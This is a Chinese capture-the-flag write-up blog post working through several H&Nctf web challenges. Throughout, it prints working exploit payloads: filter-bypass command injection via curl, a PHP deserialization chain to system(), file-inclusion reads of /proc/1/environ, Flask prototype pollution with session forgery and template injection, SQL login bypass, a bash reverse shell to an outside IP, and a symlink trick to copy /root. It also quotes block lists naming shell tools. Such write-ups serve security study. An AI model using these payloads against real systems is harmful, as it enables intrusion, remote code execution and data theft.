H&Nctf


Really_Ez_Rce

<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
    $inputNumber = $_REQUEST['Number'];
    
    if (preg_match('/\d/', $inputNumber)) {
        die("不行不行,不能这样");
    }

    if (intval($inputNumber)) {
        echo "OK,接下来你知道该怎么做吗";
        
        if (isset($_POST['cmd'])) {
            $cmd = $_POST['cmd'];
            
            if (!preg_match(
                '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
                $cmd
            )) {
                echo "你传的参数似乎挺正经的,放你过去吧<br>";
                system($cmd);
            } else {
                echo "nonono,hacker!!!";
            }
        }
    }
}
curl -X POST 'http://27.25.151.198:45344/?Number[]=a' \
  -d 'cmd=a=l;b=s$IFS/;$a$b' 
  
  or 
  cmd=a=l;b=s;$a$b /;

curl -X POST 'http://27.25.151.198:45344/?Number[]=a' \
  -d 'cmd=a=ca;b=t;c=se;d=d;e=di;f=r;$a$b /$($e$f -1 / | $c$d -n 5p);' 
  
  cmd=a=l;b=s;$a$b /;c=s;d=ed;e=ca;f=t;$e$f /$($a$b / | $c$d -n 5p);

  • dir -1:和 ls -1 功能一样,会把目录中的内容按每行一个文件的形式列出来,并且默认按照字母顺序排序
  • sed -n 5p:从输出结果里提取第五行,也就是第五个文件的名字。
  • Sed 支持一下几种地址类型:
    1、 firststep
    这两个单词的意思: first 指起始匹配行, step 指步长,例如: sed -n 2
    5p 含义:从第二行开始匹配,隔 5 行匹配一次,即 2,7,12…….。
  • cat /$(...)
    • $(...):这是命令替换的语法,会先执行括号里的子命令,然后把执行结果替换到原命令中。
    • cat /<文件名>:读取根目录下对应文件的内容。


ez_php

浅析PHP GC垃圾回收机制及常见利用方式-先知社区

[0 => $name]

  • 0 是数组的数字键(索引)。

  • $name 是变量,作为数组对应键 0 的值。

  • 等价于传统写法:

    $arr = array();
    $arr[0] = $name;
<?php
error_reporting(0);
class GOGOGO{
    public $dengchao;
    function __destruct(){
        //echo "Go Go Go~ 出发喽!";
        echo "Go Go Go~ 出发喽!" . $this->dengchao;
    }
}
class DouBao{
    public $dao;
    public $Dagongren;
    public $Bagongren;
    function __toString(){
        if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
            //echo "诗人我吃!";
            call_user_func_array($this->dao, ['诗人我吃!']);
        }
    }
}
class HeiCaFei{
    public $HongCaFei;
    function __call($name, $arguments){
        //echo "Hongkafei";
        call_user_func_array($this->HongCaFei, [0 => $name]);
    }
}

if (isset($_POST['data'])) {
    $temp = unserialize($_POST['data']);
    //echo "What do you want to do?";
    throw new Exception('What do you want to do?');//异常抛出,GC中的PHP反序列化时,demo已经给出了方法,即先传值给数组,而后将第二个索引置空即可
} else {
    highlight_file(__FILE__);
}
?>
call_user_func_array(callable $callback, array $param_arr): mixed
  • $callback:要调用的回调函数(如函数名、类方法、闭包等)。

  • $param_arr:传递给回调函数的参数数组。

    // 示例1:调用普通函数
    function sum($a, $b) {
        return $a + $b;
    }
    echo call_user_func_array('sum', [10, 20]); // 输出:30
      
    // 示例2:调用类方法
    class Math {
        public static function multiply($a, $b) {
            return $a * $b;
        }
    }
    echo call_user_func_array(['Math', 'multiply'], [5, 6]); // 输出:30
<?php
class GOGOGO{
    public $dengchao;
}
class DouBao{
    public $dao;
    public $Dagongren=[1];
    public $Bagongren=[0];

}
class HeiCaFei{
    public $HongCaFei="system";

}

$a=new GOGOGO();
$b=new DouBao();
$c=new HeiCaFei();

$a->dengchao=$b;
$b->dao=[$c,"ls /"];
$payload=[$a,0];
echo serialize($payload);

#a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:0;}}}i:1;i:0;}

在PHP的call_user_func_array()中,回调函数的格式有严格要求:

call_user_func_array(callable $callback, array $args)

$callback数组形式时,PHP要求:

  1. 数组第一个元素必须是对象实例(用于调用方法)
  2. 数组第二个元素必须是字符串形式的方法名
$b->dao = [$c, "ls /"];
  • $cHeiCaFei 对象实例
  • "ls /" 是方法名字符串
  • 当调用时相当于:$c->{"ls /"}('诗人我吃!')
  • 这会触发 HeiCaFei::__call("ls /", ['诗人我吃!'])
  • 最终执行:call_user_func_array("system", [0 => "ls /"])system("ls /")
data=a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:0;}}}i:0;i:0;}

bin dev etc home lib media mnt ofl1111111111ove4g opt proc root run sbin srv sys tmp usr var 

data=a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:0;}}}i:0;i:0;}

flag{615af7a8-f6e4-47e9-a3e2-d3c1f498d017} 

Watch

GO-2023-2185 - Go Packages

Go 1.20 filepath 漏洞(GO-2023-2185)

filepath 包无法识别带有??\ 前缀的路径为特殊路径。在 Windows 系统中,以??\ 开头的路径是 “根本地设备路径”,等效于以 ?\ 开头的路径 。带有??\ 前缀的路径可用于访问系统上的任意位置。例如,路径??\c:\x 等效于更常见的路径 c:\x 。


DeceptiFlag

将第二个隐藏框的display:none删了。然后第一个是xiyangyang,第二个是huitailang。

看一下代码
http://27.25.151.198:47543/tips.php?file=php://filter/convert.base64-encode/resource=tips.php

session_start();

// 为 PHP 7 添加 str_starts_with 函数兼容支持
if (!function_exists('str_starts_with')) {
    function str_starts_with($haystack, $needle) {
        return strpos($haystack, $needle) === 0;
    }
}

if (!isset($_SESSION['verified']) || $_SESSION['verified'] !== true) {
    header("Location: aicuo.php");
    exit();
}

if (!isset($_GET['file'])) {
    header('Location: ?file=flag');
    exit();
}

$file = trim($_GET['file']);

if (preg_match('/\s/', $file)) {
    die('Trying to use space huh?');
}
if (preg_match('/\.\./', $file)) {
    die('Trying to include files from parent directory huh?');
}
if (preg_match('/^\//', $file) && !str_starts_with($file, 'php://filter')) {
    die('Trying to include files from root directory huh?');
}

if (str_starts_with($file, 'php://filter')) {
    $content = @file_get_contents($file);
    if ($content === false) {
        die('无法读取文件');
    }
    echo $content;
    exit();
}

require_once $file . '.php';
http://27.25.151.198:47543/tips.php?file=php://filter/convert.base64-encode/resource=/proc/1/environ
flag{0d4fd8a6-5024-43de-a590-f27ca70565e3}

or

发现不能⽤php伪协议,也不能直接 / 开头和⽤ ../ ,但能⽤file协议 可以包含 pearcmd.php 来写⻢实现getshell 1 代码块 /tips.php?+config-create+/&file=file:///usr/local/lib/php/pearcmd&/+test.php


芙宁娜的图片

Brainfuck/OoK加密解密 - Bugku CTF平台

https://ctf.bugku.com/tool/vigenere

(key在图片信息中)


奇怪的咖啡店

浅谈Python原型链污染及利用方式-先知社区

from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
    if not session.get('name'):
        session['name'] = ''.join("customer")
        session['permission'] = 0

    error_message = ''
    if request.method == 'POST':
        error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

    products = [
        {"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
        {"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
        {"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
        {"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
        {"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
    ]

    return render_template('index.html',
                         error_message=error_message,
                         session=session,
                         products=products)


def add():
    pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
    if request.method == 'GET':
        return '''
            <html>
                <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
                    <h2>添加商品</h2>
                    <form id="productForm">
                        <p>商品名称: <input type="text" id="name"></p>
                        <p>商品价格: <input type="text" id="price"></p>
                        <button type="button" onclick="submitForm()">添加商品</button>
                    </form>
                    <script>
                        function submitForm() {
                            const nameInput = document.getElementById('name').value;
                            const priceInput = document.getElementById('price').value;

                            fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
                                method: 'POST',
                                headers: {
                                    'Content-Type': 'application/json',
                                },
                                body: nameInput
                            })
                            .then(response => response.text())
                            .then(data => alert(data))
                            .catch(error => console.error('错误:', error));
                        }
                    </script>
                </body>
            </html>
        '''
    elif request.method == 'POST':
        if request.data:
            try:
                raw_data = request.data.decode('utf-8')
                if check(raw_data):
                #检测添加的商品是否合法
                    return "该商品违规,无法上传"
                json_data = json.loads(raw_data)

                if not isinstance(json_data, dict):
                    return "添加失败1"

                merge(json_data, add)
                return "你无法添加商品哦"

            except (UnicodeDecodeError, json.JSONDecodeError):
                return "添加失败2"
            except TypeError as e:
                return f"添加失败3"
            except Exception as e:
                return f"添加失败4"
        return "添加失败5"



def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



app.run(host="0.0.0.0",port=5014)

/add 路由中,合并操作的目标是 add 函数(代码中 merge(json_data, add)

要修改 app.config['SECRET_KEY'],我们需要通过属性链访问:

add (函数) → __globals__ (模块全局变量) → app (Flask 实例) → config (配置字典) → SECRET_KEY
  • __init__ 是类构造方法,与我们要访问的全局变量无关

  • add 函数对象上:

    • add.__init__ 存在(所有对象都有)

    • add.__init__.__globals__ 不存在(因为 __init__ 是方法,不是函数)

    • 尝试访问 add.__init__.__globals__ 实际访问的是 type(add).__init__.__globals__(即类构造方法的全局变量),这不是我们需要的

    • type(add).__init__.__globals__  # 这是类构造方法的全局变量
      
      
          - 这个命名空间不包含 Flask `app` 实例
          - 修改这里不会影响应用配置
      
      ```json
      {
             "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {
               "\u0061\u0070\u0070": {
                 "\u0063\u006F\u006E\u0066\u0069\u0067": {
                   "\u0053\u0045\u0043\u0052\u0045\u0054\u005F\u004B\u0045\u0059": "hack"
                 }
               }
             }
           
import requests
from flask.sessions import SecureCookieSessionInterface
from flask import Flask

# Flask 应用实例
app = Flask(__name__)
app.secret_key = "hack"  # 设置应用的 secret_key

# 会话数据
session_data = {'name': 'admin', 'permission': '{{self.__init__.__globals__.__builtins__["__import__"]("os").popen("ls /").read()}}'}

# 获取会话签名序列化器
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie = session_serializer.dumps(session_data)

print("伪造的 session cookie:", cookie)

#伪造的 session cookie: .eJwdisEKAjEMBX9F3mkXZL37K1ZKl40SSJPSrKfSfzd6mxlmQEsl3FGOyoorGvXK7mwacQwneW05s_KZc8BbbC_if94_LCdryCMhntqsx5XwXBLME9atWSMNE7_cft6pHMs6J-YXPokqFg.aEfEYw.RwLFBiWD42THkrSjh8h9RXCJTyg
{"__globals__":{"app":{"_static_folder":"/"}}}

json_data = json.loads(raw_data)

{"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F":{"\u0061\u0070\u0070":{"\u005F\u0073\u0074\u0061\u0074\u0069\u0063\u005F\u0066\u006F\u006C\u0064\u0065\u0072":"\u002F"}}}

Unicode编码后访问/static/proc/1/environ即可

/static/app/app.py

或者

from flask import Flask, session, request, render_template_string, render_template
import json
import os
...

...
@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
    if session.get('name') == "admin" and session.get('permission') != 0:
        permission = session.get('permission')
        if check1(permission):
            # 检测添加的商品是否合法
            return "非法权限"

        if request.method == 'POST':
            return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'

        upload_form = '''
        <h2>商品管理系统</h2>
        <form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
            <h3>上传新商品</h3>
            <input type=file name=file required style="margin:10px"><br>
            <small>支持格式:jpg/png(最大2MB)</small><br>
            <input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
        </form>
        '''

        original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
        new_template = original_template + upload_form

        return render_template_string(new_template)
    else:
        return "<script>alert('You are not an admin');window.location.href='/'</script>"
    
def check(raw_data, forbidden_keywords=None):
    """
    检查原始数据中是否包含禁止的关键词
    如果包含禁止关键词返回 True,否则返回 False
    """
    # 设置默认禁止关键词
    if forbidden_keywords is None:
        forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]

    # 检查是否包含任何禁止关键词
    return any(keyword in raw_data for keyword in forbidden_keywords)


param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
                    'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat',  'flag',  'set',  'self', '%', 'file',  'pop(',
                    'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]


# 增强WAF防护
def waf_check(value):
    # 检查是否有不合法的字符
    for black in param_black_list:
        if black in value:
            return False
    return True

# 检查是否是自动化工具请求
def is_automated_request():
    user_agent = request.headers.get('User-Agent', '').lower()
    # 如果是常见的自动化工具的 User-Agent,返回 True
    automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
    return any(agent in user_agent for agent in automated_agents)

def check1(value):

    if is_automated_request():
        print("Automated tool detected")
        return True

    # 使用WAF机制检查请求的合法性
    if not waf_check(value):
        return True

    return False


app.run(host="0.0.0.0",port=5014)
//污染
{"__globals__" : {"param_black_list" : ["123"]}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074" : ["123"]}}


半成品login

先admin,admin123登陆,再发现要以hacker****为用户名。发现password处可注入。

username=admin&password=-1%2527/**/||/**/1#

username=q&password=username=fake%2527/**/||/**/username/**/like/**/%2527hacker%%2527#
SELECT * FROM users WHERE username = '$input' AND password = '$password';

注入后变为:

SELECT * FROM users WHERE username = 'fake' OR username LIKE 'hacker%' #' AND password = '...';
  • 'fake' OR username LIKE 'hacker%':通过OR使条件恒真,可查询所有用户名以hacker开头的用户。
  • #:注释掉后续的密码验证部分,绕过登录验证。


[WEB+RE]Just Ping Part 1

document.addEventListener('DOMContentLoaded', function() {
           const targetInput = document.getElementById('targetInput');
           const pingButton = document.getElementById('pingButton');
           const stopButton = document.getElementById('stopButton');
           const output = document.getElementById('output');
           let controller = null;

           // 自动滚动到底部
           function scrollToBottom() {
               output.scrollTop = output.scrollHeight;
           }

           // 清除输出
           function clearOutput() {
               output.textContent = '';
           }

           // 开始 ping
           pingButton.addEventListener('click', async function() {
               const target = targetInput.value.trim();
               if (!target) {
                   alert('请输入有效的 IP 地址或域名');
                   return;
               }

               clearOutput();
               pingButton.disabled = true;
               stopButton.disabled = false;
               targetInput.disabled = true;

               // 使用 AbortController 来控制请求
               controller = new AbortController();
               const signal = controller.signal;

               try {
                   const response = await fetch(`/api/ping?target=${encodeURIComponent(target)}`, {
                       signal
                   });

                   if (!response.ok) {
                       throw new Error(`请求失败: ${response.status}`);
                   }

                   const reader = response.body.getReader();
                   const decoder = new TextDecoder();

                   while (true) {
                       const { done, value } = await reader.read();
                       if (done) break;

                       const text = decoder.decode(value);
                       output.textContent += text;
                       scrollToBottom();
                   }
               } catch (error) {
                   if (error.name !== 'AbortError') {
                       output.textContent += `\n错误: ${error.message}\n`;
                       scrollToBottom();
                   }
               } finally {
                   pingButton.disabled = false;
                   stopButton.disabled = true;
                   targetInput.disabled = false;
                   controller = null;
               }
           });

           // 停止 ping
           stopButton.addEventListener('click', function() {
               if (controller) {
                   controller.abort();
               }
               pingButton.disabled = false;
               stopButton.disabled = true;
               targetInput.disabled = false;
           });

           // 按回车键触发 ping
           targetInput.addEventListener('keypress', function(e) {
               if (e.key === 'Enter' && !pingButton.disabled) {
                   pingButton.click();
               }
           });
       });

       // 测试开发API
       document.getElementById('testApiButton').addEventListener('click', async function() {
           const cmd = targetInput.value.trim();
           if (!cmd) {
               alert('请输入测试命令');
               return;
           }

           clearOutput();
           testApiButton.disabled = true;
           targetInput.disabled = true;

           try {
               const response = await fetch(`/api/testDevelopApi?cmd=${encodeURIComponent(cmd)}`);
               if (!response.ok) {
                   throw new Error(`请求失败: ${response.status}`);
               }
               const data = await response.text();
               output.textContent = data;
               scrollToBottom();
           } catch (error) {
               output.textContent = `错误: ${error.message}`;
               scrollToBottom();
           } finally {
               testApiButton.disabled = false;
               targetInput.disabled = false;
           }
       });

testDevelopApi 会 Pool Get 和 Pool Put,初始 Pool 中的为 Plain Text ping ,当⽤ /api/testDevelopApi 多次请求,把 Pool 中的对象全部⽤尽,ping 的时候就会使⽤之前传的对象

在经过偶然性的测试发现,在testDevelopApi里输入的命令,到ping里面会执行

这里就猜测,testDevelopApi接收的命令会覆盖掉ping里面的预置命令,这个命令就类似下面这种

exec.Command("ping","-c","4" ip)

可以发现两个api共享同⼀个命令字符串pool ,复⽤ 对象 在⽹⻚端可以看到调⽤ 这个 api 有回显,由于pool被复⽤,调⽤ 后,⽹⻚端点击开始, 的命令可能被 的 api 复⽤,进⽽被执⾏ cmd 限制四段参数,所以⽤ bash -c 绕过限制,反弹 shell

GET /api/testDevelopApi?cmd={{urlenc(bash -c 'bash -i >& /dev/tcp/47.104.232.51/7777 0>&1' >)}}

多发送⼏次请求后,⽹⻚点击 开始Ping


[WEB+RE]Just Ping Part 2

cd /usr/local/etc/
mkdir test
mv backup test
ln -s test/backup backup
echo '/root'>backupList
  1. 切换目录

    cd /usr/local/etc/
    • 切换到/usr/local/etc/目录(通常用于存放本地安装的程序配置文件)。
  2. 创建目录

    mkdir test
    • 在当前目录下创建名为test的新目录。
  3. 移动文件 / 目录

    mv backup test
    • 将当前目录下的backup文件(或目录)移动到test目录中,变为test/backup
    • backup原本存在,会被移入test目录;若不存在,此命令会报错。
  4. 创建符号链接

    ln -s test/backup backup

    创建名为backup的符号链接(软链接),指向test/backup

    • 此时,访问backup等同于访问test/backup
  5. 写入文件

    echo '/root'>backupList
    • 将字符串/root写入到当前目录下的backupList文件中(若文件不存在则创建,存在则覆盖)。

读取 中的⽂件路径,将对应⽂件备份到 中 ,可以看到 backupList etc ⽂件没有写权限,但是 路径下任意可读可写可执⾏ backup /usr/local/etc/next 那么可以将 移动到 ⽂件夹中 /usr/local/etc backup 并在 下创建 的符号链接,并创建 backup



文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录